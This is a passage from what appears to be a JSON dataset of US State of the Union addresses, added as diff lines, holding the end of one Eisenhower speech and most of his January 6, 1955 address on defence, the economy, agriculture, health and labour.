act\nwhich I submitted in the last Session. Because of the high prosperity in\nGermany and Austria, the number of immigrants from those countries will be\nreduced. This will make available thousands of unfilled openings which I\nrecommend be distributed to Greece and Italy and to escapees from behind\nthe Iron Curtain.Once again I ask the Congress to join with me in demonstrating our belief\nin the right of suffrage. I renew my request that the principle of\nself-government be extended and the right of suffrage granted to the\ncitizens of the District of Columbia.To conclude: the vista before us is bright. The march of science, the\nexpanding economy, the advance in collective security toward a just\npeace--in this threefold movement our people are creating new standards by\nwhich the future of the Republic may be judged.Progress, however, will be realized only as it is more than matched by a\ncontinuing growth in the spiritual strength of the nation. Our dedication\nto moral values must be complete in our dealings abroad and in our\nrelationships among ourselves. We have single-minded devotion to the common\ngood of America. Never must we forget that this means the well-being, the\nprosperity, the security of all Americans in every walk of life.To the attainment of these objectives, I pledge full energies of the\nAdministration, as in the Session ahead, it works on a program for\nsubmission to you, the Congress of the United States.", 
+    "name": "Dwight D. Eisenhower"
+}
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+{
+    "date": "January 6, 1955", 
+    "speech": "Mr. President, Mr. Speaker, Members of the Congress:First, I extend cordial greetings to the 84th Congress. We shall have much\nto do together; I am sure that we shall get it done--and, that we shall do\nit in harmony and good will.At the outset, I believe it would be well to remind ourselves of this great\nfundamental in our national life: our common belief that every human being\nis divinely endowed with dignity and worth and inalienable rights. This\nfaith, with its corollary--that to grow and flourish people must be\nfree--shapes the interests and aspirations of every American.From this deep faith have evolved three main purposes of our Federal\nGovernment:First, to maintain justice and freedom among ourselves and to champion them\nfor others so that we may work effectively for enduring peace;Second, to help keep our economy vigorous and expanding, thus sustaining\nour international strength and assuring better jobs, better living, better\nopportunities for every citizen;And third, to concern ourselves with the human problems of our people so\nthat every American may have the opportunity to lead a healthy, productive\nand rewarding life.Foremost among these broad purposes of government is our support of\nfreedom, justice and peace.It is of the utmost importance, that each of us understand the true nature\nof the struggle now taking place in the world.It is not a struggle merely of economic theories, or of forms of\ngovernment, or of military power. At issue is the true nature of man.\nEither man is the creature whom the Psalmist described as \"a little lower\nthan the angels,\" crowned with glory and honor, holding \"dominion over the\nworks\" of his Creator; or man is a soulless, animated machine to be\nenslaved, used and consumed by the state for its own glorification.It is, therefore, a struggle which goes to the roots of the human spirit,\nand its shadow falls across the long sweep of man's destiny. This prize, so\nprecious, so fraught with ultimate meaning, is the true object of the\ncontending forces in the world.In the past year, there has been progress justifying hope, both for\ncontinuing peace and for the ultimate rule of freedom and justice in the\nworld. Free nations are collectively stronger than at any time in recent\nyears.Just as nations of this Hemisphere, in the historic Caracas and Rio\nconferences, have closed ranks against imperialistic Communism and\nstrengthened their economic ties, so free nations elsewhere have forged new\nbonds of unity.Recent agreements between Turkey and Pakistan have laid a foundation for\nincreased strength in the Middle East. With our understanding support,\nEgypt and Britain, Yugoslavia and Italy, Britain and Iran have resolved\ndangerous differences. The security of the Mediterranean has been enhanced\nby an alliance among Greece, Turkey and Yugoslavia. Agreements in Western\nEurope have paved the way for unity to replace past divisions which have\nundermined Europe's economic and military vitality. The defense of the West\nappears likely at last to include a free, democratic Germany participating\nas an equal in the councils of NATO.In Asia and the Pacific, the pending Manila Pact supplements our treaties\nwith Australia, New Zealand, the Philippines, Korea and Japan and our\nprospective treaty with the Republic of China. These pacts stand as solemn\nwarning that future military aggression and subversion against the free\nnations of Asia will meet united response. The Pacific Charter, also\nadopted at Manila, is a milestone in the development of human freedom and\nself-government in the Pacific area.Under the auspices of the United Nations, there is promise of progress in\nour country's plan for the peaceful use of atomic energy.Finally, today the world is at peace. It is, to be sure, an secure peace.\nYet all humanity finds hope in the simple fact that for an appreciable time\nthere has been no active major battlefield on earth. This same fact\ninspires us to work all the more effectively with other nations for the\nwell-being, the freedom, the dignity, of every human on earth.These developments are heartening indeed, and we are hopeful of continuing\nprogress. But sobering problems remain.The massive military machines and ambitions of the Soviet-Communist bloc\nstill create uneasiness in the world. All of us are aware of the continuing\nreliance of the Soviet Communists on military force, of the power of their\nweapons, of their present resistance to realistic armament limitation, and\nof their continuing effort to dominate or intimidate free nations on their\nperiphery. Their steadily growing power includes an increasing strength in\nnuclear weapons. This power, combined with the proclaimed intentions of the\nCommunist leaders to communize the world, is the threat confronting us\ntoday.To protect our nations and our peoples from the catastrophe of a nuclear\nholocaust, free nations must maintain countervailing military power to\npersuade the Communists of the futility of seeking their ends through\naggression. If Communist rulers understand that America's response to\naggression will be swift and decisive--that never shall we buy peace at the\nexpense of honor or faith--they will be powerfully deterred from launching\na military venture engulfing their own peoples and many others in disaster.\nThis, of course, is merely world stalemate. But in this stalemate each of\nus may and must exercise his high duty to strive in every honorable way for\nenduring peace.The military threat is but one menace to our freedom and security. We must\nnot only deter aggression; we must also frustrate the effort of Communists\nto gain their goals by subversion. To this end, free nations must maintain\nand reinforce their cohesion, their internal security, their political and\neconomic vitality, and their faith in freedom.In such a world, America's course is dear:We must tirelessly labor to make the peace more just and durable.We must strengthen the collective defense under the United Nations Charter\nand gird ourselves with sufficient military strength and productive\ncapacity to discourage resort to war and protect our nation's vital\ninterests.We must continue to support and strengthen the United Nations. At this very\nmoment, by vote of the United Nations General Assembly, its\nSecretary-General is in Communist China on a mission of deepest concern to\nall Americans: seeking the release of our never-to-be-forgotten American\naviators and all other United Nations prisoners wrongfully detained by the\nCommunist regime.We must also encourage the efforts being made in the United Nations to\nlimit armaments and to harness the atom to peaceful rise.We must expand international trade and investment and assist friendly\nnations whose own best efforts are still insufficient to provide the\nstrength essential to the security of the free world.We must be willing to use the processes of negotiation whenever they will\nadvance the cause of just and secure peace to which the United States and\nother free nations are dedicated.In respect to all these matters, we must, through a vigorous information\nprogram, keep the peoples of the world truthfully advised of our actions\nand purposes. This problem has been attacked with new vigor during the past\nmonths. I urge that the Congress give its earnest consideration to the\ngreat advantages that can accrue to our country through the successful\noperations of this program.We must also carry forward our educational exchange program. This sharing\nof knowledge and experience between our citizens and those of free\ncountries is a powerful factor in the development and maintenance of true\npartnership among free peoples.To advance these many efforts, the Congress must act in this session on\nappropriations, legislation, and treaties. Today I shall mention especially\nour foreign economic and military programs.The recent economic progress in many free nations has been most heartening.\nThe productivity of labor and the production of goods and services are\nincreasing in ever-widening areas. There is a growing will to improve the\nliving standards of all men. This progress is important to all our people.\nIt promises us allies who are strong and self-reliant; it promises a\ngrowing world market for the products of our mines, our factories, and our\nfarms.But only through steady effort can we hope to continue this progress.\nBarriers still impede trade and the flow of capital needed to develop each\nnation's human and material resources. Wise reduction of these barriers is\na long-term objective of our foreign economic policy--a policy of an\nevolutionary and selective nature, assuring broad benefits to our own and\nother peoples.We must gradually reduce certain tariff obstacles to trade. These actions\nshould, of course, be accompanied by a similar lowering of trade barriers\nby other nations, so that we may move steadily toward greater economic\nadvantage for all. We must further simplify customs administration and\nprocedures. We must facilitate the flow of capital and continue technical\nassistance, both directly and through the United Nations, to less developed\ncountries to strengthen their independence and raise their living\nstandards. Many another step must be taken in and among the nations of the\nfree world to release forces of private initiative. In our own nation,\nthese forces have brought strength and prosperity; once released, they will\ngenerate rising incomes in these other countries with which to buy the\nproducts of American industry, labor and agriculture.On January 10, by special message, I shall submit specific recommendations\nfor carrying forward the legislative phases of our foreign economic\npolicy.Our many efforts to build a better world include the maintenance of our\nmilitary strength. This is a vast undertaking. Major national security\nprograms consume two-thirds of the entire Federal budget. Over four million\nAmericans--servicemen and civilians--are on the rolls of the defense\nestablishment. During the past two years, by eliminating duplication and\noverstaffing, by improved procurement and inventory controls, and by\nconcentrating on the essentials, many billions of dollars have been saved\nin our defense activities. I should like to mention certain fundamentals\nunderlying this vast program.First, a realistic limitation of armaments and an enduring, just peace\nremain our national goals; we maintain powerful military forces because\nthere is no present alternative--forces designed for deterrent and\ndefensive purposes alone but able instantly to strike back with destructive\npower in response to an attack.Second, we must stay alert to the fact that undue reliance on one weapon or\npreparation for only one kind of warfare simply invites an enemy to resort\nto another. We must, therefore, keep in our armed forces balance and\nflexibility adequate for our purposes and objectives.Third, to keep our armed forces abreast of the advances of science, our\nmilitary planning must be flexible enough to utilize the new weapons and\ntechniques which flow ever more speedily from our research and development\nprograms. The forthcoming military budget therefore emphasizes modern\nairpower in the Air Force, Navy and Marine Corps and increases the emphasis\non new weapons, especially those of rapid and destructive striking power.\nIt assures the maintenance of effective, retaliatory force as the principal\ndeterrent to overt aggression. It accelerates the continental defense\nprogram and the build-up of ready military reserve forces. It continues a\nvigorous program of stockpiling strategic and critical materials and\nstrengthening our mobilization base. The budget also contemplates the\nstrategic concentration of our strength through redeployment of certain\nforces. It provides for reduction of forces in certain categories and their\nexpansion in others, to fit them to the military realities of our time.\nThese emphases in our defense planning have been made at my personal\ndirection after long and thoughtful study. In my judgment, they will give\nour nation a defense accurately adjusted to the national need.Fourth, pending a world agreement on armament limitation, we must continue\nto improve and expand our supplies of nuclear weapons for our land, naval\nand air forces, while, at the same time, continuing our encouraging\nprogress in the peaceful use of atomic power.And fifth, in the administration of these costly programs, we must demand\nthe utmost in efficiency and ingenuity. We must assure our people not only\nof adequate protection but also of a defense that can be carried forward\nfrom year to year until the threat of aggression has disappeared.To help maintain this kind of armed strength and improve its efficiency, I\nmust urge the enactment of several important measures in this session.The first concerns the selective service act which expires next June 30th.\nFor the foreseeable future, our standing forces must remain much larger\nthan voluntary methods can sustain. We must, therefore, extend the\nstatutory authority to induct men for two years of military service.The second kind of measure concerns the rapid turnover of our most\nexperienced servicemen. This process seriously weakens the combat readiness\nof our armed forces and is exorbitantly expensive. To encourage more\ntrained servicemen to remain in uniform, I shall, on the thirteenth of this\nmonth, propose a number of measures to increase the attractions of a\nmilitary career. These measures will include more adequate medical care for\ndependents, survivors' benefits, more and better housing, and selective\nadjustments in military pay and other allowances.And third--also on January 13--I shall present a program to rebuild and\nstrengthen the civilian components of our armed forces. This is a\ncomprehensive program, designed to make better use of our manpower of\nmilitary age. Because it will go far in assuring fair and equitable\nparticipation in military training and service, it is of particular\nimportance to our combat veterans. In keeping with the historic military\npolicy of our Republic, this program is designed to build and maintain\npowerful civilian reserves immediately capable of effective military\nservice in an emergency in lieu of maintaining active duty forces in excess\nof the nation's immediate need.Maintenance of an effective defense requires continuance of our aggressive\nattack on subversion at home. In this effort we have, in the past two\nyears, made excellent progress. FBI investigations have been powerfully\nreinforced by a new Internal Security Division in the Department of\nJustice; the security activities of the Immigration and Naturalization\nService have been revitalized; an improved and strengthened security system\nis in effect throughout the government; the Department of Justice and the\nFBI have been armed with effective new legal weapons forged by the 83rd\nCongress.We shall continue to ferret out and to destroy Communist subversion.We shall, in the process, carefully preserve our traditions and the basic\nrights of our citizens.Our civil defense program is also a key element in the protection of our\ncountry. We are developing cooperative methods with State Governors,\nMayors, and voluntary citizen groups, as well as among Federal agencies, in\nbuilding the civil defense organization. Its significance in time of war is\nobvious; its swift assistance in disaster areas last year proved its\nimportance in time of peace.An industry capable of rapid expansion and essential materials and\nfacilities swiftly available in time of emergency are indispensable to our\ndefense. I urge, therefore, a two-year extension of the Defense Production\nAct and Title II of the First War Powers Act of 1941. These are\ncornerstones of our program for the development and maintenance of an\nadequate mobilization base. At this point, I should like to make this\nadditional observation. Our quest for peace and freedom necessarily\npresumes that we who hold positions of public trust must rise above self\nand section--that we must subordinate to the general good our partisan, our\npersonal pride and prejudice. Tirelessly, with united purpose, we must\nfortify the material and spiritual foundations of this land of freedom and\nof free nations throughout the world. As never before, there is need for\nunhesitating cooperation among the branches of our government.At this time the executive and legislative branches are under the\nmanagement of different political parties. This fact places both parties on\ntrial before the American people.In less perilous days of the past, division of governmental responsibility\namong our great parties has produced a paralyzing indecision. We must not\nlet this happen in our time. We must avoid a paralysis of the will for\npeace and international security.In the traditionally bipartisan areas--military security and foreign\nrelations--I can report to you that I have already, with the leaders of\nthis Congress, expressed assurances of unreserved cooperation. Yet, the\nstrength of our country requires more than mere maintenance of military\nstrength and success in foreign affairs; these vital matters are in turn\ndependent upon concerted and vigorous action in a number of supporting\nprograms. I say, therefore, to the 84th Congress:In all areas basic to the strength of America, there will be--to the extent\nI can insure them--cooperative, constructive relations between the\nExecutive and Legislative Branches of this government. Let the general good\nbe our yardstick on every great issue of our time.Our efforts to defend our freedom and to secure a just peace are, of\ncourse, inseparable from the second great purpose of our government: to\nhelp maintain a strong, growing economy--an economy vigorous and free, in\nwhich there are ever-increasing opportunities, just rewards for effort, and\na stable prosperity that is widely shared.In the past two years, many important governmental Actions helped our\neconomy adjust to conditions of peace; these and other actions created a\nclimate for renewed economic growth. Controls were removed from wages,\nprices and materials. Tax revisions encouraged increased private spending\nand employment. Federal expenditures were sharply reduced, making possible\na record tax cut. These actions, together with flexible monetary and debt\nmanagement policies, helped to halt inflation and stabilize the value of\nthe dollar. A program of cooperation and partnership in resource\ndevelopment was begun. Social security and unemployment insurance laws were\nbroadened and strengthened. New laws started the long process of balancing\nfarm production with farm markets. Expanded shipbuilding and stockpiling\nprograms strengthened key sectors of the economy, while improving our\nmobilization base. A comprehensive new housing law brought impressive\nprogress in an area fundamental to our economic strength and closed\nloopholes in the old laws permitting dishonest manipulation. Many of these\nprograms are just beginning to exert their main stimulating effect upon the\neconomy generally and upon specific communities and industries throughout\nthe country.The past year--1954--was one of the most prosperous years in our history.\nBusiness activity now surges with new strength. Production is rising.\nEmployment is high. Toward the end of last year average weekly wages in\nmanufacturing were higher than ever before. Personal income after taxes is\nat a record level. So is consumer spending. Construction activity is\nreaching new peaks. Export demand for our goods is strong. State and local\ngovernment expenditures on public works are rising. Savings are high, and\ncredit is readily available.So, today, the transition to a peacetime economy is largely behind us.The economic outlook is good.The many promising factors I have mentioned do not guarantee sustained\neconomic expansion; however, they do give us a strong position from which\nto carry forward our economic growth. If we as a people act wisely, within\nten years our annual national output can rise from its present level of\nabout $360 billion to $500 billion, measured in dollars of stable buying\npower.My Budget Message on January 17, the Economic Report on the 20th of this\nmonth, and several special messages will set forth in detail major programs\nto foster the growth of our economy and to protect the integrity of the\npeople's money. Today I shall discuss these programs only in general\nterms.Government efficiency and economy remain essential to steady progress\ntoward a balanced budget. More than ten billion dollars were cut from the\nspending program proposed in the budget of January 9, 1953. Expenditures of\nthat year were six and a half billion below those of the previous year. In\nthe current fiscal year, government spending will be nearly four and a half\nbillion dollars less than in the fiscal year which ended last June 30. New\nspending authority has been held below expenditures, reducing government\nobligations accumulated over the years.Last year we had a large tax cut and, for the first time in seventy-five\nyears a basic revision of Federal tax laws. It is now clear that defense\nand other essential government costs must remain at a level precluding\nfurther tax reductions this year. Although excise and corporation income\ntaxes must, therefore, be continued at their present rates, further tax\ncuts will be possible when justified by lower expenditures and by revenue\nincreases arising from the nation's economic growth. I am hopeful that such\nreductions can be made next year.At the foundation of our economic growth are the raw materials and energy\nproduced from our minerals and fuels, lands and forests, and water\nresources. With respect to them, I believe that the nation must adhere to\nthree fundamental policies: first, to develop, wisely use and conserve\nbasic resources from generation to generation; second, to follow the\nhistoric pattern of developing these resources primarily by private\ncitizens under fair provisions of law, including restraints for proper\nconservation; and third, to treat resource development as a partnership\nundertaking--a partnership in which the participation of private citizens\nand State and local governments is as necessary as Federal participation.This policy of partnership and cooperation is producing good results, most\nimmediately noticeable in respect to water resources. First, it has\nencouraged local public bodies and private citizens to plan their own power\nsources. Increasing numbers of applications to the Federal Power Commission\nto conduct surveys and prepare plans for power development, notably in the\nColumbia River Basin, are evidence of local response.Second, the Federal Government and local and private organizations have\nbeen encouraged to coordinate their developments. This is important because\nFederal hydroelectric developments supply but a small fraction of the\nnation's power needs. Such partnership projects as Priest Rapids in\nWashington, the Coosa River development in Alabama, and Markham Ferry in\nOklahoma already have the approval of the Congress. This year justifiable\nprojects of a similar nature will again have Administration support.Third, the Federal Government must shoulder its own partnership obligations\nby undertaking projects of such complexity and size that their success\nrequires Federal development. In keeping with this principle, I again urge\nthe Congress to approve the development of the Upper Colorado River Basin\nto conserve and assure better use of precious water essential to the future\nof the West.In addition, the 1956 budget will recommend appropriations to start six new\nreclamation and more than thirty new Corps of Engineers projects of varying\nsize. Going projects and investigations of potential new resource\ndevelopments will be continued.Although this partnership approach is producing encouraging results, its\nfull success requires a nation-wide comprehensive water resources policy\nfirmly based in law. Such a policy is under preparation and when completed\nwill be submitted to the Congress.In the interest of their proper conservation, development and use,\ncontinued vigilance will be maintained over our fisheries, wildlife\nresources, the national parks and forests, and the public lands; and we\nshall continue to encourage an orderly development of the nation's mineral\nresources.A modern, efficient highway system is essential to meet the needs of our\ngrowing population, our expanding economy, and our national security. We\nare accelerating our highway improvement program as rapidly as possible\nunder existing State and Federal laws and authorizations. However, this\neffort will not in itself assure our people of an adequate highway system.\nOn my recommendation, this problem has been carefully considered by the\nConference of State Governors and by a special Advisory Committee on a\nNational Highway Program, composed of leading private citizens. I have\nreceived the recommendations of the Governors' Conference and will shortly\nreceive the views of the special Advisory Committee. Aided by their\nfindings, I shall submit on January 27th detailed recommendations which\nwill meet our most pressing national highway needs.In further recognition of the importance of transportation to our economic\nstrength and security, the Administration, through a Cabinet committee, is\nthoroughly examining existing Federal transportation policies to determine\ntheir effect on the adequacy of transportation services. This is the first\nsuch comprehensive review directly undertaken by the Executive Branch of\nthe government in modern times. We are not only examining major problems\nfacing the various modes of transport; we are also studying closely the\ninter-relationships of civilian and government requirements for\ntransportation. Legislation will be recommended to correct policy\ndeficiencies which we may find.The nation's public works activities are tremendous in scope. It is\nexpected that more than $ 12 billion will be expended in 1955 for the\ndevelopment of land, water and other resources; control of floods, and\nnavigation and harbor improvements; construction of roads, schools, and\nmunicipal water supplies, and disposal of domestic and industrial wastes.\nMany of the Federal, State and local agencies responsible for this work\nare, in their separate capacities, highly efficient. But public works\nactivities are closely inter-related and have a substantial influence on\nthe growth of the country. Moreover, in times of threatening economic\ncontraction, they may become a valuable sustaining force. To these ends,\nefficient planning and execution of the nation's public works require both\nthe coordination of Federal activities and effective cooperation with State\nand local governments.The Council of Economic Advisers, through its public works planning\nsection, has made important advances during the past year in effecting this\ncoordination and cooperation. In view of the success of these initial\nefforts, and to give more emphasis and continuity to this essential\ncoordination, I shall request the Congress to appropriate funds for the\nsupport of an Office of Coordinator of Public Works in the Executive Office\nof the President.A most significant element in our growing economy is an agriculture that is\nstable, prosperous and free. The problems of our agriculture have evolved\nover many years and cannot be solved overnight; nevertheless, governmental\nactions last year hold great promise of fostering a better balance between\nproduction and markets and, consequently, a better and more stable income\nfor our farmers.Through vigorous administration and through new authority provided by the\n83rd Congress, surplus farm products are now moving into consumption. From\nFebruary 1953 through November 1954, the rate of increase of\ngovernment-held surpluses has been reduced by our moving into use more than\n2.3 billion dollars' worth of government-owned farm commodities; this\namount is equal to more than seven percent of a year's production of all\nour farms and ranches. Domestic consumption remains high, and farm exports\nwill be higher than last year. As a result of the flexibility provided by\nthe Agricultural Act of 1954, we can move toward less restrictive acreage\ncontrols.Thus, farm production is gradually adjusting to markets, markets are being\nexpanded, and stocks are moving into use. We can now look forward to an\neasing of the influences depressing farm prices, to reduced government\nexpenditures for purchase of surplus products, and to less Federal\nintrusion into the lives and plans of our farm people. Agricultural\nprograms have been redirected toward better balance, greater stability and\nsustained prosperity. We are headed in the right direction. I urgently\nrecommend to the Congress that we continue resolutely on this road.Greater attention must be directed to the needs of low-income farm\nfamilies. Twenty-eight per cent of our farm-operator families have net cash\nincomes of less than $1,000 per year. Last year, at my request, careful\nstudies were made of the problems of these farm people. I shall later\nsubmit recommendations designed to assure the steady alleviation of their\nmost pressing concerns.Because drought also remains a serious agricultural problem, I shall\nrecommend legislation to strengthen Federal disaster assistance programs.\nThis legislation will prescribe an improved appraisal of need, better\nadjustment of the various programs to local conditions, and a more\nequitable sharing of costs between the States and the Federal Government.The prosperity of our small business enterprises is an indispensable\nelement in the maintenance of our economic strength. Creation of the Small\nBusiness Administration and recently enacted tax laws facilitating small\nbusiness expansion are but two of many important steps we have taken to\nencourage our smaller enterprises. I recommend that the Congress extend the\nSmall Business Act of 1953 which is due to expire next June.We come now to the third great purpose of our government-its concern for\nthe health, productivity and well-being of all our people.Every citizen wants to give full expression to his God-given talents and\nabilities and to have the recognition and respect accorded under our\nreligious and political traditions. Americans also want a good material\nstandard of living--not simply to accumulate possessions, but to fulfill a\nlegitimate aspiration for an environment in which their families may live\nmeaningful and happy lives. Our people are committed, therefore, to the\ncreation and preservation of opportunity for every citizen to lead a more\nrewarding life. They are equally committed to the alleviation of misfortune\nand distress among their fellow citizens.The aspirations of most of our people can best be fulfilled through their\nown enterprise and initiative, without government interference. This\nAdministration, therefore, follows two simple rules: first, the Federal\nGovernment should perform an essential task only when it cannot otherwise\nbe adequately performed; and second, in performing that task, our\ngovernment must not impair the self-respect, freedom and incentive of the\nindividual. So long as these two rules are observed, the government can\nfully meet its obligation without creating a dependent population or a\ndomineering bureaucracy.During the past two years, notable advances were made in these functions of\ngovernment. Protection of old-age and survivors' insurance was extended to\nan additional ten million of our people, and the benefits were\nsubstantially increased. Legislation was enacted to provide unemployment\ninsurance protection to some four million additional Americans.\nStabilization of living costs and the halting of inflation protected the\nvalue of pensions and savings. A broad program now helps to bring good\nhomes within the reach of the great majority of our people. With the\nStates, we are providing rehabilitation facilities and more clinics,\nhospitals, and nursing homes for patients with chronic illnesses. Also with\nthe States, we have begun a great and fruitful expansion in the restoration\nof disabled persons to employment and useful lives. In the areas of Federal\nresponsibility, we have made historic progress in eliminating from among\nour people demeaning practices based on race or color.All of us may be proud of these achievements during the past two years. Yet\nessential Federal tasks remain to be done.As part of our efforts to provide decent, safe and sanitary housing for\nlow-income families, we must carry forward the housing program authorized\nduring the 83rd Congress. We must also authorize contracts for a firm\nprogram of 35,000 additional public housing units in each of the next two\nfiscal years. This program will meet the most pressing obligations of the\nFederal Government into the 1958 fiscal year for planning and building\npublic housing. By that time the private building industry, aided by the\nHousing Act of 1954, will have had the opportunity to assume its full role\nin providing adequate housing for our low income families.The health of our people is one of our most precious assets. Preventable\nsickness should be prevented; knowledge available to combat disease and\ndisability should be fully used. Otherwise, we as a people are guilty not\nonly of neglect of human suffering but also of wasting our national\nstrength.Constant advances in medical care are not available to enough of our\ncitizens. Clearly our nation must do more to reduce the impact of accident\nand disease. Two fundamental problems confront us: first, high and\never-rising costs of health services; second, serious gaps and shortages in\nthese services.By special message on January 24, I shall propose a coordinated program to\nstrengthen and improve existing health services. This program will continue\nto reject socialized medicine. It will emphasize individual and local\nresponsibility. Under it the Federal Government will neither dominate nor\ndirect, but serve as a helpful partner. Within this framework, the program\ncan be broad in scope.My recommendations will include a Federal health reinsurance service to\nencourage the development of more and better voluntary health insurance\ncoverage by private organizations. I shall also recommend measures to\nimprove the medical care of that group of our citizens who, because of\nneed, receive Federal-State public assistance. These two proposals will\nhelp more of our people to meet the costs of health services.To reduce the gaps in these services, I shall propose:New measures to facilitate construction of needed health facilities and\nhelp reduce shortages of trained health personnel;Vigorous steps to combat the misery and national loss involved in mental\nillness;Improved services for crippled children and for maternal and child health;Better consumer protection under our existing pure food and drug laws; and,\nfinally,Strengthened programs to combat the increasingly serious pollution of our\nrivers and streams and the growing problem of air pollution.These measures together constitute a comprehensive program holding rich\npromise for better health for all of our people.Last year's expansion of social security coverage and our new program of\nimproved medical care for public assistance recipients together suggest\nmodification of the formula for Federal sharing in old age assistance\npayments. I recommend modification of the formula where such payments will,\nin the future, supplement benefits received under the old age and survivors\ninsurance system.It is the inalienable right of every person, from childhood on, to have\naccess to knowledge. In our form of society, this right of the individual\ntakes on a special meaning, for the education of all our citizens is\nimperative to the maintenance and invigoration of America's free\ninstitutions.Today, we face grave educational problems. Effective and up-to-date\nanalyses of these problems and their solutions are being carried forward\nthrough the individual State conferences and the White House Conference to\nbe completed this year.However, such factors as population growth, additional responsibilities of\nschools, and increased and longer school attendance have produced an\nunprecedented classroom shortage. This shortage is of immediate concern to\nall of our people. Positive, affirmative action must be taken now.Without impairing in any way the responsibilities of our States,\nlocalities, communities, or families, the Federal government can and should\nserve as an effective-catalyst in dealing with this problem. I shall\nforward a special message to the Congress on February 15, presenting an\naffirmative program dealing with this shortage.To help the States do a better and more timely job, we must strengthen\ntheir resources for preventing and dealing with juvenile delinquency. I\nshall propose Federal legislation to assist the States to promote concerted\naction in dealing with this nationwide problem. I shall carry forward the\nvigorous efforts of the Administration to improve the international control\nof the traffic in narcotics and, in cooperation with State and local\nagencies, to combat narcotic addiction in our country.I should like to speak now of additional matters of importance to all our\npeople and especially to our wage earners.During the past year certain industrial changes and the readjustment of the\neconomy to conditions of peace brought unemployment and other difficulties\nto various localities and industries. These problems are engaging our most\nearnest attention. But for the overwhelming majority of our working people,\nthe past year has meant good jobs. Moreover, the earnings and savings of\nour wage earners are no longer depreciating in value. Because of\ncooperative relations between labor and management, fewer working days were\nlost through strikes in 1954 than in any year in the past decade.The outlook for our wage earners can be made still more promising by\nseveral legislative actions.First, in the past five years we have had economic growth which will\nsupport an increase in the Federal minimum wage. In the light of present\neconomic conditions, I recommend its increase to ninety cents an hour. I\nalso recommend that many others, at present excluded, be given the\nprotection of a minimum wage.Second, I renew my recommendation of last year for amendment of the Labor\nManagement Relations Act of 1947 to further the basic objectives of this\nstatute. I especially call to the attention of the Congress amendments\ndealing with the right of economic strikers to vote in representation\nelections and the need for equalizing the obligation under the Act to file\ndisclaimers of Communist affiliation.Third, the Administration will propose other important measures including\noccupational safety, workmen's compensation for longshoremen and harbor\nworkers, and the \"Eight Hour Laws\" applicable to Federal contractors.\nLegislation will also be proposed respecting nonoccupational disability\ninsurance and unemployment compensation in the District of Columbia.In considering human needs, the Federal Government must take special\nresponsibility for citizens in its direct employ. On January 11 I shall\npropose a pay adjustment plan for civilian employees outside the Postal\nField Service to correct inequities and increase individual pay rates. I\nshall also recommend voluntary health insurance on a contributory basis for\nFederal employees and their dependents. In keeping with the Group Life\nInsurance Act passed in the 83rd Congress, this protection should be\nprovided on the group insurance principle and purchased from private\nfacilities. Also on January 11 I shall recommend a modern pay plan,\nincluding pay increases, for postal field employees. As part of this\nprogram, and to carry forward our progress toward elimination of the large\nannual postal deficit. I shall renew my request for an increase in postal\nrates. Again I urge that in the future the fixing of rates be delegated to\nan impartial, independent body.More adequate training programs to equip career employees of the government\nto render improved public service will be recommended, as will improvements\nin the laws affecting employees serving on foreign assignments.Needed improvements in survivor, disability, and retirement benefits for\nFederal civilian and military personnel have been extensively considered by\nthe Committee on Retirement Policy for Federal personnel. The Committee's\nproposals would strengthen and improve benefits for our career people in\ngovernment, and I endorse their broad objectives. Full contributory\ncoverage under old-age and survivors' insurance should be made available to\nall Federal personnel, just as in private industry. For career military\npersonnel, the protection of the old-age and survivors' insurance system\nwould be an important and long-needed addition, especially to their present\nunequal and inadequate survivorship protection. The military retirement pay\nsystem should remain separate and unchanged. Certain adjustments in the\npresent civilian personnel retirement systems will be needed to reflect the\nadditional protection of old-age and survivors' insurance. However, these\nsystems also are a basic part of a total compensation and should be\nseparately and independently retained.I also urge the Congress to approve a long overdue increase in the salaries\nof Members of the Congress and of the Federal judiciary to a level\ncommensurate with their heavy responsibilities.Our concern for the individual in our country requires that we consider\nseveral additional problems.We must continue our program to help our Indian citizens improve their lot\nand make their full contribution to national life. Two years ago I advised\nthe Congress of injustices under existing immigration laws. Through humane\nadministration, the Department of Justice is doing what it legally can to\nalleviate hardships. Clearance of aliens before arrival has been initiated,\nand except for criminal offenders, the imprisonment of aliens awaiting\nadmission or deportation has been stopped. Certain provisions of law,\nhowever, have the effect of compelling action in respect to aliens which\nare inequitable in some instances and discriminatory in others. These\nprovisions should be corrected in this session of the Congress.As the complex problems of Alaska are resolved, that Territory should\nexpect to achieve statehood. In the meantime, there is no justification for\ndeferring the admission to statehood of Hawaii. I again urge approval of\nthis measure.We have three splendid opportunities to demonstrate the strength of our\nbelief in the right of suffrage. First, I again urge that a Constitutional\namendment be submitted to the States to reduce the voting age for Federal\nelections. Second, I renew my request that the principle of self-government\nbe extended and the right of suffrage granted to the citizens of the\nDistrict of Columbia. Third, I again recommend that we work with the States\nto preserve the voting fights of citizens in the nation's service\noverseas.In our determination to keep faith with those who in the past have met the\nhighest call of citizenship, we now have under study the system of benefits\nfor veterans and for surviving dependents of deceased veterans and\nservicemen. Studies will be undertaken to determine the need for measures\nto ease the readjustment to civilian life of men required to enter the\narmed forces for two years of service.In the advancement of the various activities which will make our\ncivilization endure and flourish, the Federal Government should do more to\ngive official recognition to the importance of the arts and other cultural\nactivities. I shall recommend the establishment of a Federal Advisory\nCommission on the Arts within the Department of Health, Education and\nWelfare, to advise the Federal Government on ways to encourage artistic\nendeavor and appreciation. I shall also propose that awards of merit be\nestablished whereby we can honor our fellow citizens who make great\ncontribution to the advancement of our civilization.Every citizen rightly expects efficient and economical administration of\nthese many government programs I have outlined today. I strongly recommend\nextension of the Reorganization Act and the law establishing the Commission\non Intergovernmental Relations, both of which expire this spring. Thus the\nCongress will assure continuation of the excellent progress recently made\nin improving government organization and administration. In this connection\nwe are looking forward with great interest to the reports which will soon\nbe going to the Congress from the Commission on Organization of the\nExecutive Branch of the Government. I am sure that these studies, made\nunder the chairmanship of former President Herbert Hoover with the\nassistance of more than two hundred distinguished citizens, will be of\ngreat value in paving the way toward more efficiency and economy in the\ngovernment.And now, I return to the point at which I began--the faith of our people.The many programs here summarized are, I believe, in full keeping with\ntheir needs, interests and aspirations. The obligations upon us are clear:To labor earnestly, patiently, prayerfully, for peace, for freedom, for\njustice, throughout the world;To keep our economy vigorous and free, that our people may lead fuller,\nhappier lives;To advance, not merely by our words but by our acts, the determination of\nour government that every citizen shall have opportunity to develop to his\nfullest capacity.As we do these things, before us is a future filled with opportunity and\nhope. That future will be ours if in our time we keep alive the patience,\nthe courage, the confidence in tomorrow, the deep faith, of the millions\nwho, in years past, made and preserved us this nation.A decade ago, in the death and desolation of European battlefields, I saw\nthe courage and resolution, I felt the inspiration, of American youth. 